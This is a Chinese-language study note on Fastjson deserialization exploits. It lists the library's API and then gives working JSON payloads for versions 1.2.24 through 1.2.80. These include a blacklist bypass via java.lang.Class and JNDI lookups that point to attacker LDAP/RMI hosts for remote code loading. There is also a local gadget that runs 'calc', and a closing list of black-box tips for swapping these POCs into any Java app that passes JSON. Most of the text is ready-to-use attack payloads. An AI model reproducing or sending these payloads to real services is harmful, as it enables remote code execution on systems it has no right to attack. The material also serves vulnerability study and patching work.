//文章:https://xz.aliyun.com/news/14309
1、序列化方法:
JSON.toJSONString(),返回字符串;
JSON.toJSONBytes(),返回byte数组;
2、反序列化方法:
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();
3、常用:
JSON.toJSONString(), JSON.parse(), JSON.parseObject()
1、序列化固定类后:
parse 方法在调用时会调用 set 方法
parseObject 在调用时会调用 set 和 get 方法
2、反序列化指定类后:
parseObject 在调用时会调用 set 方法
利用链:
<version>1.2.24</version>
1、setdataSourceName->getdataSourceName
2、setautoCommit->connect->InitialContext.lookup(getDataSourceName());
POC:根据工具生成 ldap或者 rmi
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.2:1389/uzsfii",
"autoCommit":true
}
<version>1.2.47</version>
Fastjson 首先解析 @type,发现要加载 java.lang.Class(不在黑名单,允许加载)
然后解析 val 字段,调用 Class.forName("com.sun.rowset.JdbcRowSetImpl"),绕过黑名单检查。
POC:
{
"aaa": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"bbb": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
}
<version>1.2.62</version>
//ctrl + click 直接进入类
org.apache.xbean.propertyeditor.JndiConverter 继承 AbstractConverter
SetAsText -> toObject -> toObjectImpl(需要maven依赖)
POC:
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}"
<version>1.2.80</version>
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
setProperties -> initCtx -> initCtx.lookup
POC:
"{
\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://192.168.1.4:1389/f4zia0\"}
}";
后面版本大多都要用到依赖,所以我们用本地代码
没有依赖,不开开关,只能白盒
本地源码中有 Runtime.getRuntime().exec(str); 可以RCE的类
"{
"@type":"java.lang.Exception",
"@type":"com.example.fastjson.poc20220523.Poc20220523",
"name":"calc"
}";
总结
1.2.47 <= 可利用JDK自带链实现RCE
1.2.47-1.2.80 中利用链为依赖包或本地代码
其中依赖包还需要开启 autoType , 本地代码无需(仅白盒)
1.2.80 后续版本目前无
黑盒测试思路点:
1、符合java应用 有json数据传递 或者报错显示用到fastjson类
2、传递的数据不管加密或无密能识别出json格式 直接poc替换测试